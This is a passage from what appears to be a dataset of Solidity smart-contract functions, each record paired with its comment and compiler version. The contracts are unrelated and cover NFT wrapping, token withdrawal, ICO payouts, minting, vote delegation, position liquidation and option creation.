require(ownerOf(_wrappedTokenId) != address(0));\n require(enabledForCollateral(_erc20), \"This ERC20 is not enabled for collateral\");\n require(\n IERC20(_erc20).balanceOf(msg.sender) >= _amount,\n \"Low balance for add collateral\"\n );\n require(\n IERC20(_erc20).allowance(msg.sender, address(this)) >= _amount,\n \"Please approve first\"\n );\n \n ERC20Collateral[] storage e = erc20Collateral[_wrappedTokenId];\n //If collateral with this _erc20 already exist just update\n if (getERC20CollateralBalance(_wrappedTokenId, _erc20) > 0) {\n for (uint256 i = 0; i < e.length; i ++) {\n if (e[i].erc20Token == _erc20) {\n e[i].amount += _amount;\n break;\n }\n } \n\n } else {\n //So if we are here hence there is NO that _erc20 in collateral yet \n //We can add more tokens if limit NOT exccedd\n require(e.length < MAX_ERC20_COUNT, \"To much ERC20 tokens in collatteral\");\n e.push(ERC20Collateral({\n erc20Token: _erc20, \n amount: _amount\n }));\n\n }\n\n //Move collateral to contract balance\n IERC20(_erc20).safeTransferFrom(msg.sender, address(this), _amount); \n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function returns collateral balance of this NFT in _erc20\n * colleteral of wrapped token\n *\n * @param _wrappedId new protocol NFT id from this contarct\n * @param _erc20 - collateral token address\n */", "function_code": "function getERC20CollateralBalance(uint256 _wrappedId, address _erc20) public view returns (uint256) {\n ERC20Collateral[] memory e = erc20Collateral[_wrappedId];\n for (uint256 i = 0; i < e.length; i ++) {\n if (e[i].erc20Token == _erc20) {\n return e[i].amount;\n }\n }\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function returns all ERC20 collateral to user who unWrap\n * protocol token. Returns true if all tokens are transfered.\n * Otherwise returns false. In that case need just call unWrap721\n * one more time\n *\n *\n * @param _tokenId -wrapped token\n *\n */", "function_code": "function _returnERC20Collateral(uint256 _tokenId) internal returns (bool) {\n //First we need release erc20 collateral, because erc20 transfers are\n // can be expencive\n ERC20Collateral[] storage e = erc20Collateral[_tokenId];\n if (e.length > 0) { \n for (uint256 i = e.length; i > 0; i --){\n if (e[i-1].amount > 0) {\n // we need this try for protect from malicious \n // erc20 contract that can block unWrap NFT\n try \n // We dont use SafeTransfer because try works only for external function call\n // https://docs.soliditylang.org/en/v0.8.6/control-structures.html#try-catch\n\n IERC20(e[i-1].erc20Token).transfer(msg.sender, e[i-1].amount) {\n e[i-1].amount = 0;\n } catch {\n emit SuspiciousFail(e[i-1].erc20Token, e[i-1].amount);\n } \n // comment string below due in some case it c can be very costly\n // https://docs.soliditylang.org/en/v0.8.9/types.html#array-members \n //e.pop();\n if (gasleft() <= 10_000) {\n emit PartialUnWrapp(_tokenId, msg.sender);\n return false;\n }\n }\n }\n\n }\n return true;\n\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Returns a boolean array where each value corresponds to the\n * interfaces passed in and whether they're supported or not. This allows\n * you to batch check interfaces for a contract where your expectation\n * is that some interfaces may not be supported.\n *\n * See {IERC165-supportsInterface}.\n *\n * _Available since v3.4._\n */", "function_code": "function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)\n internal\n view\n returns (bool[] memory)\n {\n // an array of booleans corresponding to interfaceIds and whether they're supported or not\n bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);\n\n // query support of ERC165 itself\n if (supportsERC165(account)) {\n // query support of each interface in interfaceIds\n for (uint256 i = 0; i < interfaceIds.length; i++) {\n interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);\n }\n }\n\n return interfaceIdsSupported;\n }", "version": "0.8.7"} {"comment": "/// !!!!For gas safe this low levelfunction has NO any check before wrap\n/// So you have NO warranty to do Unwrap well", "function_code": "function WrapForFarming(\n address _receiver,\n ERC20Collateral memory _erc20Collateral,\n uint256 _unwrapAfter\n ) public payable \n {\n require(_receiver != address(0), \"No zero address\");\n require(!isDepricated, \"Pool is depricated for new stakes\");\n // 1.topup wrapper contract with erc20 that would be added in collateral\n IERC20(_erc20Collateral.erc20Token).safeTransferFrom(\n msg.sender, \n address(this), \n _erc20Collateral.amount\n );\n\n // 2.Mint wrapped NFT for receiver and populate storage\n lastWrappedNFTId += 1;\n _mint(_receiver, lastWrappedNFTId);\n wrappedTokens[lastWrappedNFTId] = NFT(\n address(0), // _original721, \n 0, // _tokenIds[i], \n msg.value, // native blockchain asset\n 0, // accumalated fee token\n _unwrapAfter, // timelock\n 0, //_transferFee,\n address(0), // _royaltyBeneficiary,\n 0, //_royaltyPercent,\n 0, //_unwraptFeeThreshold,\n address(0), //_transferFeeToken,\n AssetType.UNDEFINED,\n 0\n );\n\n // 3.Add erc20 collateral\n ERC20Collateral[] storage coll = erc20Collateral[lastWrappedNFTId];\n coll.push(ERC20Collateral({\n erc20Token: _erc20Collateral.erc20Token, \n amount: _erc20Collateral.amount\n }));\n emit Wrapped(address(0), 0, lastWrappedNFTId);\n\n // 4. Register farming\n NFTReward storage r = rewards[lastWrappedNFTId];\n r.stakedDate = block.timestamp;\n emit Staked(lastWrappedNFTId, _erc20Collateral.erc20Token, _erc20Collateral.amount);\n }", "version": "0.8.7"} {"comment": "////////////////////////////////////////////////////////////////\n////////// Admins //////\n////////////////////////////////////////////////////////////////", "function_code": "function setRewardSettings(\n address _erc20, \n uint256 _settingsSlotId, \n uint256 _period, \n uint256 _percent\n ) external onlyOwner {\n \n require(rewardSettings[_erc20].length > 0, \"There is no settings for this token\");\n RewardSettings[] storage set = rewardSettings[_erc20];\n set[_settingsSlotId].period = _period;\n emit SettingsChanged(_erc20, _settingsSlotId);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function returns tokenURI of **underline original token**\n *\n * @param _tokenId id of protocol token (new wrapped token)\n */", "function_code": "function tokenURI(uint256 _tokenId) public view virtual override \n returns (string memory) \n {\n NFT storage nft = wrappedTokens[_tokenId];\n if (nft.tokenContract != address(0)) {\n return IERC721Metadata(nft.tokenContract).tokenURI(nft.tokenId);\n } else {\n return string(abi.encodePacked(\n _baseURI(),\n uint160(address(this)).toHexString(),\n \"/\", _tokenId.toString())\n );\n } \n \n }", "version": "0.8.7"} {"comment": "/**\n * @dev Adds a new batch to the `batchMapping` and increases the\n * count of `totalNumberOfBatches`\n */", "function_code": "function addNewBatch(\n uint256 _totalSpots,\n uint256 _batchStartTimestamp,\n uint256 _depositAmount\n )\n public\n onlyOwner\n {\n require(\n _batchStartTimestamp >= currentTimestamp(),\n \"WaitlistBatch: batch start time cannot be in the past\"\n );\n\n require(\n _depositAmount > 0,\n \"WaitlistBatch: deposit amount cannot be 0\"\n );\n\n require(\n _totalSpots > 0,\n \"WaitlistBatch: batch cannot have 0 spots\"\n );\n\n Batch memory batch = Batch(\n _totalSpots,\n 0,\n _batchStartTimestamp,\n _depositAmount,\n 0\n );\n\n batchMapping[nextBatchNumber] = batch;\n nextBatchNumber = nextBatchNumber + 1;\n\n emit NewBatchAdded(\n _totalSpots,\n _batchStartTimestamp,\n _depositAmount,\n nextBatchNumber - 1\n );\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Approves a batch. Users can then start reclaiming their deposit\n * after the retrieval date delay.\n */", "function_code": "function approveBatch(\n uint256 _batchNumber\n )\n external\n onlyOwner\n {\n require(\n _batchNumber > 0 && _batchNumber < nextBatchNumber,\n \"WaitlistBatch: the batch does not exist\"\n );\n\n Batch storage batch = batchMapping[_batchNumber];\n\n require(\n batch.approvedAt == 0,\n \"WaitlistBatch: the batch is already approved\"\n );\n\n batch.approvedAt = currentTimestamp();\n\n emit BatchApproved(_batchNumber);\n }", "version": "0.5.16"} {"comment": "/// @notice Check if ID is valid.", "function_code": "function validId(uint16 tokenId) public pure returns (bool) {\n return tokenId >= 11111 && tokenId <= 55555\n && tokenId % 10 > 0 && tokenId % 10 <= 5\n && tokenId % 100 > 10 && tokenId % 100 <= 55\n && tokenId % 1000 > 100 && tokenId % 1000 <= 555\n && tokenId % 10000 > 1000 && tokenId % 10000 <= 5555;\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Adds a new acceted code hash.\r\n * @param _code The new code hash.\r\n */", "function_code": "function addCode(bytes32 _code) public onlyOwner {\r\n require(_code != bytes32(0), \"AWR: empty _code\");\r\n Info storage code = acceptedCodes[_code];\r\n\t\tif(!code.exists) {\r\n\t\t\tcodes.push(_code);\r\n\t\t\tcode.exists = true;\r\n \tcode.index = uint128(codes.length - 1);\r\n\t\t\temit CodeAdded(_code);\r\n\t\t}\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Adds a new acceted implementation.\r\n * @param _impl The new implementation.\r\n */", "function_code": "function addImplementation(address _impl) public onlyOwner {\r\n require(_impl != address(0), \"AWR: empty _impl\");\r\n Info storage impl = acceptedImplementations[_impl];\r\n\t\tif(!impl.exists) {\r\n\t\t\timplementations.push(_impl);\r\n\t\t\timpl.exists = true;\r\n \timpl.index = uint128(implementations.length - 1);\r\n\t\t\temit ImplementationAdded(_impl);\r\n\t\t}\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw ether and token\r\n * @param message Signed message\r\n * @param v Signature hash\r\n * @param r Signature hash\r\n * @param s Signature hash\r\n * @param tokenaddr Token address to be withdraw\r\n * @param to Receiver address \r\n * @param amount Amount to be withdraw \r\n */", "function_code": "function withdraw(string memory message, uint8 v, bytes32 r, bytes32 s, uint8 type_, address tokenaddr, address payable _from, address payable to, uint256 amount, uint256 profitValue) contractStatus public returns(bool) {\r\n require(hashComformation[message] != true); \r\n require(verify(string(strConcat(string(code),message)),v,r,s) == msg.sender);\r\n require(type_ == 0 || type_ == 1);\r\n if(type_ == 0){\r\n require(tokenaddr == address(0));\r\n if(amount >= userBalance[_from][tokenaddr] && amount <= 0) revert();\r\n to.transfer(amount); \r\n userBalance[_from][tokenaddr] = userBalance[_from][tokenaddr].sub(amount);\r\n adminProfit[admin][address(0)] = adminProfit[admin][address(0)].add(profitValue);\r\n }\r\n else{\r\n require(tokenaddr != address(0) && amount > 0);\r\n require(userBalance[_from][tokenaddr] >= amount);\r\n ERC20(tokenaddr).transfer(to, amount);\r\n userBalance[_from][tokenaddr] = userBalance[_from][tokenaddr].sub(amount);\r\n adminProfit[admin][tokenaddr] = adminProfit[admin][tokenaddr].add(profitValue);\r\n }\r\n hashComformation[message] = true;\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Profit Withdraw of the admin\r\n * @param type_ Either token or ether\r\n * @param tokenAddr Token address \r\n * @param amount Amount to be Withdraw\r\n */", "function_code": "function profitWithdraw(uint256 type_,address tokenAddr,uint256 amount) onlyOwner public returns(bool){\r\n require(amount > 0);\r\n require(type_ ==0 || type_ == 1);\r\n \r\n if(type_== 0){\r\n require(amount > 0 && amount <= adminProfit[admin][address(0)]);\r\n msg.sender.transfer(amount);\r\n adminProfit[admin][address(0)] = adminProfit[admin][address(0)].sub(amount);\r\n }\r\n else{\r\n require(tokenAddr != address(0)) ;\r\n require(getTokenBalance(tokenAddr,address(this)) >= amount);\r\n ERC20(tokenAddr).transfer(admin, amount);\r\n adminProfit[admin][tokenAddr] = adminProfit[admin][tokenAddr].sub(amount);\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev String concatenation\r\n */", "function_code": "function strConcat(string memory _a, string memory _b) private pure returns (bytes memory){\r\n bytes memory _ba = bytes(_a);\r\n bytes memory _bb = bytes(_b);\r\n string memory ab = new string(_ba.length + _bb.length);\r\n bytes memory babcde = bytes(ab);\r\n uint k = 0;\r\n for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];\r\n for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];\r\n return babcde;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Verification of the Signature\r\n */", "function_code": "function verify(string memory message, uint8 v, bytes32 r, bytes32 s) private pure returns (address signer) {\r\n string memory header = \"\\x19Ethereum Signed Message:\\n000000\";\r\n uint256 lengthOffset;\r\n uint256 length;\r\n assembly {\r\n length := mload(message)\r\n lengthOffset := add(header, 57)\r\n }\r\n require(length <= 999999);\r\n uint256 lengthLength = 0;\r\n uint256 divisor = 100000; \r\n while (divisor != 0) {\r\n uint256 digit = length / divisor;\r\n if (digit == 0) {\r\n \r\n if (lengthLength == 0) {\r\n divisor /= 10;\r\n continue;\r\n }\r\n }\r\n lengthLength++;\r\n length -= digit * divisor;\r\n divisor /= 10;\r\n digit += 0x30;\r\n lengthOffset++;\r\n assembly {\r\n mstore8(lengthOffset, digit)\r\n }\r\n } \r\n if (lengthLength == 0) {\r\n lengthLength = 1 + 0x19 + 1;\r\n } else {\r\n lengthLength += 1 + 0x19;\r\n }\r\n assembly {\r\n mstore(header, lengthLength)\r\n }\r\n bytes32 check = keccak256(abi.encodePacked(header, message));\r\n return ecrecover(check, v, r, s);\r\n }", "version": "0.5.12"} {"comment": "// // public view functions\n// never use these for functions ever, they are expensive af and for view only ", "function_code": "function walletOfOwner(address address_) public virtual view \r\n returns (uint256[] memory) {\r\n uint256 _balance = balanceOf[address_];\r\n uint256[] memory _tokens = new uint256[] (_balance);\r\n uint256 _index;\r\n uint256 _loopThrough = totalSupply;\r\n for (uint256 i = 0; i < _loopThrough; i++) {\r\n if (ownerOf[i] == address(0x0) && _tokens[_balance - 1] == 0) {\r\n _loopThrough++; \r\n }\r\n if (ownerOf[i] == address_) { \r\n _tokens[_index] = i; _index++; \r\n }\r\n }\r\n return _tokens;\r\n }", "version": "0.8.7"} {"comment": "// Fusion Mechanism", "function_code": "function fusion(uint256 parent1_, uint256 parent2_, uint256 amount_) external publicMintEnabled {\r\n require(parent1_ != parent2_,\r\n \"Parents can't be the same!\");\r\n require(msg.sender == SpaceYetis.ownerOf(parent1_) \r\n && msg.sender == SpaceYetis.ownerOf(parent2_),\r\n \"You do not own these Yetis!\");\r\n \r\n uint256 _totalFusionCost = fusionCost * amount_;\r\n\r\n require(Plasma.balanceOf(msg.sender) >= _totalFusionCost,\r\n \"You don't have enough $PLASMA!\");\r\n \r\n // Now, msg.sender is owner of both yetis. It is not the same yeti, and they\r\n // have enough $PLASMA for the fusion.\r\n Plasma.burnByController(msg.sender, _totalFusionCost); // Burn\r\n _mintMany(msg.sender, amount_); // Breed\r\n }", "version": "0.8.7"} {"comment": "/// @dev Ends the ICO period and sends the ETH home", "function_code": "function endIco() external {\r\n if (msg.sender != kwhDeployer) throw; // locks finalize to the ultimate ETH owner\r\n // end ICO\r\n isFinalized = true;\r\n if(!ethFundDeposit.send(this.balance)) throw; // send the eth to kwh International\r\n }", "version": "0.4.20"} {"comment": "/// @dev ico maintenance ", "function_code": "function sendFundHome2() external {\r\n if (msg.sender != kwhDeployer) throw; // locks finalize to the ultimate ETH owner\r\n // move to operational\r\n if(!kwhDeployer.send(5*10**decimals)) throw; // send the eth to kwh International\r\n }", "version": "0.4.20"} {"comment": "// function _mint() nonRentrant\n// function retrive money\n//", "function_code": "function mint(uint256 _requstedAmount) public payable nonReentrant whenNotPaused {\n require(_requstedAmount < 10000, \"err: requested amount too high\");\n\n require(_requstedAmount * mintFee >= msg.value, \"err: not enough funds sent\");\n\n // send msg.value to vault\n vault.sendValue(msg.value);\n\n for (uint256 x = 0; x < _requstedAmount; x++) {\n\n //this is to skip these tokens\n if(tokenId == SKIP2851 || tokenId == SKIP6485){\n tokenId++;\n }\n\n metaPunk.makeToken(tokenId, tokenId);\n metaPunk.seturi(tokenId, string(abi.encodePacked(baseUri, Strings.toString(tokenId))));\n emit MetaPunk2022Created(tokenId);\n\n // transfer metaPunk to msg.sender\n metaPunk.safeTransferFrom(address(this), msg.sender, tokenId);\n tokenId++;\n }\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Mints number of tokens specified to wallet.\n * @param quantity uint256 Number of tokens to be minted\n */", "function_code": "function buy(uint256 quantity) external payable {\n require(saleLive, \"Sale is not currently live\");\n require(totalSupply() + quantity <= SSK_MAX &&\n publicMinted + quantity <= SSK_PUBLIC, \"Quantity exceeds remaining tokens\");\n require(msg.value >= quantity * SSK_PRICE, \"Insufficient funds\");\n\n publicMinted += quantity;\n _safeMint(msg.sender, quantity);\n }", "version": "0.8.11"} {"comment": "/**\n * Wrap (aka. mint) Pixereum pixel to ERC721 directly.\n * Users can wrap any pixels on Pixereum which is not yet wrapped on v2 and its sale state is true.\n */", "function_code": "function wrap(\n uint16 pixelNumber,\n uint24 color,\n string memory message\n ) external payable {\n require(maxSupply > pixelNumber, \"Invalid Pixel Number\");\n (, , uint256 price, bool isSale) = pixereum.getPixel(pixelNumber);\n require(isSale, \"Pixel Should Be On Sale\");\n require(msg.value >= price, \"Insufficient msg.value\");\n\n pixereum.buyPixel{value: msg.value}(\n address(this),\n pixelNumber,\n color,\n message\n );\n\n _mint(msg.sender, pixelNumber);\n\n emit Wrap(msg.sender, pixelNumber);\n }", "version": "0.8.4"} {"comment": "/**\n * Prepare to wrap pixereum pixel carefully.\n */", "function_code": "function prepareCarefulWrap(uint16 pixelNumber) external {\n (address pixelOwner, , , bool isSale) = pixereum.getPixel(pixelNumber);\n require(msg.sender == pixelOwner, \"Only Pixel Owner\");\n require(!isSale, \"Pixel Should Not Be On Sale\");\n preparedCarefulWrapOwners[pixelNumber] = msg.sender;\n emit PrepareCarefulWrap(msg.sender, pixelNumber);\n }", "version": "0.8.4"} {"comment": "/**\n * Wrap (aka. mint) Pixereum pixel to ERC721 carefully.\n * Before safeWrap, make sure that prepareSafeWrap\n * and transfer ownership to this contract is done.\n */", "function_code": "function carefulWrap(uint16 pixelNumber) external {\n require(\n preparedCarefulWrapOwners[pixelNumber] == msg.sender,\n \"Preparing Careful Wrap Is Needed\"\n );\n (address pixelOwner, , , bool isSale) = pixereum.getPixel(pixelNumber);\n require(\n pixelOwner == address(this),\n \"Pixel Owner Should Be This Contract\"\n );\n require(!isSale, \"Pixel Should Not Be On Sale\");\n _mint(msg.sender, pixelNumber);\n preparedCarefulWrapOwners[pixelNumber] = address(0x0);\n emit CarefulWrap(msg.sender, pixelNumber);\n }", "version": "0.8.4"} {"comment": "/// @notice Enumerate NFTs assigned to an owner\n/// @dev Throws if `_index` >= `balanceOf(_owner)` or if\n/// `_owner` is the zero address, representing invalid NFTs.\n/// @param _owner An address where we are interested in NFTs owned by them\n/// @param _index A counter less than `balanceOf(_owner)`\n/// @return The token identifier for the `_index`th NFT assigned to `_owner`,\n/// (sort order not specified)", "function_code": "function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId) {\r\n require(_owner != address(0));\r\n require(_index < _tokensOfOwnerWithSubstitutions[_owner].length);\r\n _tokenId = _tokensOfOwnerWithSubstitutions[_owner][_index];\r\n // Handle substitutions\r\n if (_owner == address(this)) {\r\n if (_tokenId == 0) {\r\n _tokenId = _index + 1;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Actually perform the safeTransferFrom", "function_code": "function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)\r\n private\r\n mustBeValidToken(_tokenId)\r\n canTransfer(_tokenId)\r\n {\r\n address owner = _tokenOwnerWithSubstitutions[_tokenId];\r\n // Do owner address substitution\r\n if (owner == address(0)) {\r\n owner = address(this);\r\n }\r\n require(owner == _from);\r\n require(_to != address(0));\r\n _transfer(_tokenId, _to);\r\n\r\n // Do the callback after everything is done to avoid reentrancy attack\r\n uint256 codeSize;\r\n assembly { codeSize := extcodesize(_to) }\r\n if (codeSize == 0) {\r\n return;\r\n }\r\n bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, data);\r\n require(retval == ERC721_RECEIVED);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev helper function, indicates when a position can be liquidated.\r\n * Liquidation threshold is when position input plus commitment can be converted to 110% of owed tokens\r\n */", "function_code": "function canLiquidate(bytes32 positionId) public view returns(bool) {\r\n Position storage position = positionInfo[positionId];\r\n uint256 canReturn;\r\n if(position.isShort) {\r\n uint positionBalance = position.input.add(position.commitment);\r\n uint valueToConvert = positionBalance < liquidationBonus ? 0 : positionBalance.sub(liquidationBonus);\r\n canReturn = calculateConvertedValue(WETH_ADDRESS, position.token, valueToConvert);\r\n } else {\r\n uint canReturnOverall = calculateConvertedValue(position.token, WETH_ADDRESS, position.input)\r\n .add(position.commitment);\r\n canReturn = canReturnOverall < liquidationBonus ? 0 : canReturnOverall.sub(liquidationBonus);\r\n }\r\n uint256 poolInterest = calculateBorrowInterest(position.id);\r\n return canReturn < position.owed.add(poolInterest).mul(LIQUIDATION_MARGIN).div(MAG);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Liquidates position and sends a liquidation bonus from user's commitment to a caller.\r\n * can only be called from account that has the LIQUIDATOR role\r\n */", "function_code": "function liquidatePosition(bytes32 positionId, uint256 minimalSwapAmount) external isHuman {\r\n Position storage position = positionInfo[positionId];\r\n require(position.owner != address(0), \"NO_OPEN_POSITION\");\r\n require(hasRole(LIQUIDATOR_ROLE, msg.sender) || position.owner == msg.sender, \"NOT_LIQUIDATOR\");\r\n uint256 canReturn;\r\n uint poolInterest = calculateBorrowInterest(position.id);\r\n\r\n uint256 liquidatorBonus;\r\n uint256 scaledRate;\r\n if(position.isShort) {\r\n uint256 positionBalance = position.input.add(position.commitment);\r\n uint256 valueToConvert;\r\n (valueToConvert, liquidatorBonus) = _safeSubtract(positionBalance, liquidationBonus);\r\n canReturn = swapTokens(WETH_ADDRESS, position.token, valueToConvert);\r\n require(canReturn >= minimalSwapAmount, \"INSUFFICIENT_SWAP\");\r\n scaledRate = calculateScaledRate(valueToConvert, canReturn);\r\n } else {\r\n uint256 swap = swapTokens(position.token, WETH_ADDRESS, position.input);\r\n require(swap >= minimalSwapAmount, \"INSUFFICIENT_SWAP\");\r\n scaledRate = calculateScaledRate(swap, position.input);\r\n uint256 canReturnOverall = swap.add(position.commitment);\r\n (canReturn, liquidatorBonus) = _safeSubtract(canReturnOverall, liquidationBonus);\r\n }\r\n require(canReturn < position.owed.add(poolInterest).mul(LIQUIDATION_MARGIN).div(MAG), \"CANNOT_LIQUIDATE\");\r\n\r\n _liquidate(position, canReturn, poolInterest);\r\n\r\n transferEscrowToUser(position.owner, address(0x0), position.commitment);\r\n WETH.safeTransfer(msg.sender, liquidatorBonus);\r\n\r\n deletePosition(position, liquidatorBonus, scaledRate);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Creates a new Option Series\n * @param name The option token name. Eg. \"Pods Put WBTC-USDC 5000 2020-02-23\"\n * @param symbol The option token symbol. Eg. \"podWBTC:20AA\"\n * @param optionType The option type. Eg. \"0 for Put / 1 for Calls\"\n * @param exerciseType The option exercise type. Eg. \"0 for European, 1 for American\"\n * @param underlyingAsset The underlying asset. Eg. \"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2\"\n * @param strikeAsset The strike asset. Eg. \"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"\n * @param strikePrice The option strike price including decimals. e.g. 5000000000\n * @param expiration The Expiration Option date in seconds. e.g. 1600178324\n * @param exerciseWindowSize The Expiration Window Size duration in seconds. E.g 24*60*60 (24h)\n * @return option The address for the newly created option\n */", "function_code": "function createOption(\n string memory name,\n string memory symbol,\n IPodOption.OptionType optionType,\n IPodOption.ExerciseType exerciseType,\n address underlyingAsset,\n address strikeAsset,\n uint256 strikePrice,\n uint256 expiration,\n uint256 exerciseWindowSize,\n bool isAave\n ) external override returns (address) {\n IOptionBuilder builder;\n address wrappedNetworkToken = wrappedNetworkTokenAddress();\n\n if (optionType == IPodOption.OptionType.PUT) {\n if (underlyingAsset == wrappedNetworkToken) {\n builder = wPodPutBuilder;\n } else if (isAave) {\n builder = aavePodPutBuilder;\n } else {\n builder = podPutBuilder;\n }\n } else {\n if (underlyingAsset == wrappedNetworkToken) {\n builder = wPodCallBuilder;\n } else if (isAave) {\n builder = aavePodCallBuilder;\n } else {\n builder = podCallBuilder;\n }\n }\n\n address option = address(\n builder.buildOption(\n name,\n symbol,\n exerciseType,\n underlyingAsset,\n strikeAsset,\n strikePrice,\n expiration,\n exerciseWindowSize,\n configurationManager\n )\n );\n\n emit OptionCreated(\n msg.sender,\n option,\n optionType,\n exerciseType,\n underlyingAsset,\n strikeAsset,\n strikePrice,\n expiration,\n exerciseWindowSize\n );\n\n return option;\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Internal function\r\n * @param delegator The address of the account to check\r\n * @param delegatee The block number to get the vote balance at\r\n */", "function_code": "function _delegate(address delegator, address delegatee)\r\n internal\r\n {\r\n address currentDelegate = _delegates[delegator];\r\n uint256 delegatorBalance = balanceOf(delegator); // balance of underlying TKs (not scaled);\r\n _delegates[delegator] = delegatee;\r\n\r\n emit DelegateChanged(delegator, currentDelegate, delegatee);\r\n\r\n _moveDelegates(currentDelegate, delegatee, delegatorBalance);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Move Delegates\r\n * @param srcRep src rep\r\n * @param dstRep dst rep\r\n * @param amount amount\r\n */", "function_code": "function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {\r\n if (srcRep != dstRep && amount > 0) {\r\n if (srcRep != address(0)) {\r\n // decrease old representative\r\n uint32 srcRepNum = numCheckpoints[srcRep];\r\n uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;\r\n uint256 srcRepNew = srcRepOld.sub(amount);\r\n _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);\r\n }\r\n\r\n if (dstRep != address(0)) {\r\n // increase new representative\r\n uint32 dstRepNum = numCheckpoints[dstRep];\r\n uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;\r\n uint256 dstRepNew = dstRepOld.add(amount);\r\n _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Write checkpoint\r\n * @param delegatee The delegatee\r\n * @param nCheckpoints n checkpoints\r\n * @param oldVotes old votes\r\n * @param newVotes new votes\r\n */", "function_code": "function _writeCheckpoint(\r\n address delegatee,\r\n uint32 nCheckpoints,\r\n uint256 oldVotes,\r\n uint256 newVotes\r\n )\r\n internal\r\n {\r\n uint32 blockNumber = safe32(block.number, \"TK::_writeCheckpoint: block number exceeds 32 bits\");\r\n\r\n if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {\r\n checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;\r\n } else {\r\n checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);\r\n numCheckpoints[delegatee] = nCheckpoints + 1;\r\n }\r\n\r\n emit DelegateVotesChanged(delegatee, oldVotes, newVotes);\r\n }", "version": "0.6.12"} {"comment": "// ------------------------------------------------------------------------\n// 46,200 TOP Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 46200;\r\n } else {\r\n tokens = msg.value * 46200;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/// Returns tokens of user, should never be used inside of transaction because of high gas fee.", "function_code": "function tokensOfOwner(address owner)\n external\n view\n returns (uint256[] memory ownerTokens)\n {\n uint256 tokenCount = balanceOf(owner);\n\n if (tokenCount == 0) {\n return new uint256[](0);\n } else {\n uint256[] memory result = new uint256[](tokenCount);\n uint256 resultIndex = 0;\n uint256 tokenId;\n uint supply = totalSupply();\n\n for (tokenId = BLOCK_ID_OFFSET + 1; tokenId <= supply + BLOCK_ID_OFFSET; tokenId++) {\n if (_owners[tokenId] == owner) {\n result[resultIndex] = tokenId;\n resultIndex++;\n if (resultIndex >= tokenCount) {break;}\n }\n }\n return result;\n }\n }", "version": "0.8.12"} {"comment": "// This function is called when anyone sends ether to this contract", "function_code": "receive() external payable {\r\n require(msg.sender != address(0)); //Contributor's address should not be zero\r\n require(msg.value != 0); //Contributed amount should be greater then zero\r\n require(isDepositAllowed); //Check if contracts can receive deposits\r\n\r\n //forward fund received to Platform's account\r\n forwardFunds(); \r\n\r\n // Add to investments with the investor\r\n depositors[msg.sender] += msg.value;\r\n weiDeposited += msg.value;\r\n\r\n //Notify server that an investment has been received\r\n emit depositReceived(msg.sender,msg.value); \r\n }", "version": "0.7.4"} {"comment": "/**\r\n * If you're attempting to bring metadata associated with token\r\n * from L2 to L1, you must implement this method, to be invoked\r\n * when minting token back on L1, during exit\r\n */", "function_code": "function setTokenMetadata(uint256 tokenId, bytes memory data)\r\n internal\r\n virtual\r\n {\r\n // This function should decode metadata obtained from L2\r\n // and attempt to set it for this `tokenId`\r\n //\r\n // Following is just a default implementation, feel\r\n // free to define your own encoding/ decoding scheme\r\n // for L2 -> L1 token metadata transfer\r\n string memory uri = abi.decode(data, (string));\r\n\r\n _setTokenURI(tokenId, uri);\r\n }", "version": "0.8.0"} {"comment": "/**\n * @param _token : cTokenLike address\n * @param _idleToken : idleToken address\n * @param _owner : contract owner (for eventually setting blocksPerYear)\n */", "function_code": "function initialize(address _token, address _idleToken, address _owner) public {\n require(token == address(0), 'cTokenLike: already initialized');\n require(_token != address(0), 'cTokenLike: addr is 0');\n\n token = _token;\n owner = _owner;\n underlying = CERC20(_token).underlying();\n idleToken = _idleToken;\n blocksPerYear = 2371428;\n IERC20(underlying).safeApprove(_token, uint256(-1));\n }", "version": "0.5.16"} {"comment": "/**\n * Gets all underlying tokens in this contract and mints cTokenLike Tokens\n * tokens are then transferred to msg.sender\n * NOTE: underlying 